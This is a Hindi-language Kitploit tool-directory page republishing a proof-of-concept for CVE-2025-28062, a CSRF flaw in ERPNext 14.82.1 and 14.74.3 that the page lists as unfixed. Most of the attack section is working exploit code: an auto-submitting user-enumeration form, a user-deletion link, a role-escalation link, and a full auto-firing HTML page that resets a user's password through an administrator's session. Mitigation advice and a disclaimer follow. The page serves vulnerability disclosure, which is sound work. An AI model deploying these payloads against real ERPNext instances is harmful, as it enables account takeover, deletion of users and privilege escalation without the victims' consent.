Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-28062 — अवधारणा प्रमाण | Kitploit
उपकरण/GitHubGitHub/thvt0ne/cve-2025-28062
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubthvt0ne/cve-2025-28062

CVE-2025-28062

अवधारणा प्रमाण

रिपॉजिटरी देखें
211 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-28062 — ERPNext 14.82.1, 14.74.3 में खाता अधिग्रहण के लिए CSRF भेद्यता

📌 सारांश

एक क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF) भेद्यता ERPNext 14.82.1 और 14.74.3 में पाई गई, जो हमलावरों को निम्नलिखित अनधिकृत कार्रवाइयाँ करने की अनुमति देती है:

  • उपयोगकर्ता गणना
  • खाता अधिग्रहण (पासवर्ड रीसेट)
  • मनमाना उपयोगकर्ता विलोपन
  • विशेषाधिकार वृद्धि (भूमिकाएँ जोड़ना)

यह भेद्यता महत्वपूर्ण प्रशासनिक API एंडपॉइंट पर CSRF सुरक्षा की कमी के कारण उत्पन्न होती है। यदि कोई प्रमाणित व्यवस्थापक किसी दुर्भावनापूर्ण वेबसाइट पर जाता है, तो उनके सत्र का दुरुपयोग करके उनकी सहमति के बिना ये कार्रवाइयाँ की जाती हैं।


🛠 तकनीकी विवरण

  • भेद्यता प्रकार: CSRF (CWE-352)
  • प्रभावित उत्पाद: ERPNext
  • संस्करण: 14.82.1, 14.74.3
  • गंभीरता: उच्च
  • CVSS v3.1 स्कोर: 8.1
  • स्थिति: ठीक नहीं किया गया
  • द्वारा खोजा गया: Ahmed Thaiban Thvt0ne.
  • खोज की तिथि: 2025-02-09
  • CVE ID: CVE-2025-28062 (आरक्षित)

🚀 प्रमाण की अवधारणाएँ (PoCs)

1. उपयोगकर्ता गणना

root@kitploit:~
<form method="GET" action="http://localhost:8080/api/method/frappe.desk.reportview.get">
  <input type="hidden" name="doctype" value="User">
  <input type="hidden" name="fields" value='["name", "user_type", "enabled"]'>
  <input type="hidden" name="view" value="List">
  <input type="hidden" name="page_length" value="100">
  <input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>

2. उपयोगकर्ता हटाएँ

root@kitploit:~
<a href="http://localhost:8080/api/method/frappe.desk.reportview.delete_items?items=%5B%221%401.com%22%5D&doctype=User">
  Click to delete user
</a>

3. किसी भी उपयोगकर्ता को विशेषाधिकार प्राप्त भूमिका जोड़ें

root@kitploit:~
<a href="http://localhost:8080/api/method/frappe.desk.form.save.savedocs?doc=REDACTED_PAYLOAD&action=Save">
  Add "System Manager" role to user
</a>

💡 पूर्ण JSON पेलोड रेपो में देखें: /PoCs/privilege_escalation.html


4. किसी भी उपयोगकर्ता का पासवर्ड बदलें

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack</title>
</head>
<body>
    <script>
        function performCSRF() {
            // Target API URL
            var targetUrl = "http://localhost:8080/api/method/frappe.desk.form.save.savedocs"; 

            // JSON Payload
            var jsonPayload = JSON.stringify({"name":"[email protected]","owner":"Administrator","creation":"2025-02-09 03:50:24.709718","modified":"2025-02-09 09:49:02.334015","modified_by":"Administrator","docstatus":0,"idx":0,"enabled":1,"email":"[email protected]","first_name":"sdfvfvdfv","full_name":"sdfvfvdfv","username":"sdfvfvdfv","language":"en","time_zone":"America/Adak","send_welcome_email":1,"unsubscribed":0,"mute_sounds":0,"desk_theme":"Light","search_bar":1,"notifications":1,"list_sidebar":1,"bulk_actions":1,"view_switcher":1,"form_sidebar":1,"timeline":1,"dashboard":1,"new_password":"User123!@#","logout_all_sessions":1,"reset_password_key":"e801df93fa208e01314c981192fa842e63838d13bd75a76cba97d005d9eee513","last_reset_password_key_generated_on":"2025-02-09 03:50:25.700259","document_follow_notify":0,"document_follow_frequency":"Daily","follow_created_documents":0,"follow_commented_documents":0,"follow_liked_documents":0,"follow_assigned_documents":0,"follow_shared_documents":0,"thread_notify":1,"send_me_a_copy":0,"allowed_in_mentions":1,"simultaneous_sessions":2,"login_after":0,"user_type":"Website User","login_before":0,"bypass_restrict_ip_check_if_2fa_enabled":0,"onboarding_status":"{}","doctype":"User","roles":[],"defaults":[],"block_modules":[],"social_logins":[{"name":"qvh4mjk9r2","owner":"Administrator","creation":"2025-02-09 03:50:25.190297","modified":"2025-02-09 03:50:25.190297","modified_by":"Administrator","docstatus":0,"idx":1,"provider":"frappe","userid":"575ca3b88fc3d1fa8d2d7f419b0af0f156ff912","parent":"[email protected]","parentfield":"social_logins","parenttype":"User","doctype":"User Social Login"}],"user_emails":[],"__onload":{"all_modules":["Accounts","Assets","Automation","Bulk Transaction","Buying","CRM","Communication","Contacts","Core","Custom","Desk","EDI","ERPNext Integrations","Email","Geo","Integrations","Maintenance","Manufacturing","Portal","Printing","Projects","Quality Management","Regional","Selling","Setup","Social","Stock","Subcontracting","Support","Telephony","Utilities","Website","Workflow"]},"__last_sync_on":"2025-02-09T14:20:52.310Z","__unsaved":1});

            
            var encodedPayload = (jsonPayload);  

            // Create and submit the form
            var form = document.createElement("form");
            form.method = "GET";
            form.action = targetUrl;
            form.enctype = "application/x-www-form-urlencoded";  

            var input = document.createElement("input");
            input.type = "hidden";
            input.name = "doc";  // Correct parameter name
            input.value = encodedPayload;  // Correct encoding
            
            var input2 = document.createElement("input");
            input2.type = "hidden";
            input2.name = "action";  // Correct parameter name
            input2.value = "Save";  // Correct encoding
            
            
            form.appendChild(input);
            form.appendChild(input2);
            document.body.appendChild(form);
            form.submit();
        }

        // Execute CSRF after waiting to ensure cookies are set
        setTimeout(performCSRF, 3000);
    </script>
</body>
</html>

यह चित्र अनुकरण करता है कि व्यवस्थापक किसी दुर्भावनापूर्ण वेबसाइट में प्रवेश करता है: image

नोट: यदि संशोधित टाइमस्टैम्प पुराना है तो वेबसाइट यह संदेश दे सकती है: image

और इसे बायपास करने के लिए http:// localhost:8080/api/resource/User/[email protected][owner] HTML पेज का उपयोग करें और संशोधित टाइमस्टैम्प लें (PoC को आसान बनाने के लिए)।

image

इसे पेज सामग्री में नए संस्करण के रूप में बदलें:

image

एक बार भेजने पर यह उपयोगकर्ता का पासवर्ड बदल देगा!!.

image

यदि कोई प्रमाणित व्यवस्थापक उपयोगकर्ता इस वेबपेज पर जाता है, तो उनके सत्र का उपयोग बिना किसी उपयोगकर्ता इंटरैक्शन के खाता पासवर्ड बदलने के अनुरोध को निष्पादित करने के लिए किया जाएगा।


🧪 शोषण परिदृश्य

एक हमलावर एक दुर्भावनापूर्ण पेज होस्ट करता है। यदि कोई ERPNext व्यवस्थापक लॉग इन रहते हुए इसे देखता है, तो उनका ब्राउज़र स्वचालित रूप से ERPNext पर तैयार अनुरोधों को ट्रिगर करता है, जिससे उनकी जानकारी के बिना खाता संशोधन या विलोपन हो जाता है।


🔐 शमन अनुशंसाएँ

  • सभी स्थिति-बदलने वाले एंडपॉइंट पर CSRF टोकन लागू करें
  • सेव/डिलीट जैसी कार्रवाइयों के लिए GET अनुरोधों की अनुमति न दें
  • प्रमाणीकरण कुकीज़ को SameSite=Strict के साथ चिह्नित करें
  • महत्वपूर्ण कार्रवाइयों (जैसे पासवर्ड परिवर्तन, भूमिका परिवर्तन) के लिए पुनः प्रमाणीकरण आवश्यक करें

🔗 संदर्भ

  • ERPNext GitHub
  • Ahmed Thaiban – LinkedIn
  • OWASP CSRF Guide

🙏 आभार

Ahmed Thaiban Thvt0ne द्वारा खोजा गया।


📢 अस्वीकरण

यह शोध केवल रक्षात्मक उद्देश्यों के लिए है। इसका उद्देश्य जागरूकता बढ़ाना और सुरक्षित विकास प्रथाओं को प्रोत्साहित करना है।

टूल डाउनलोड करें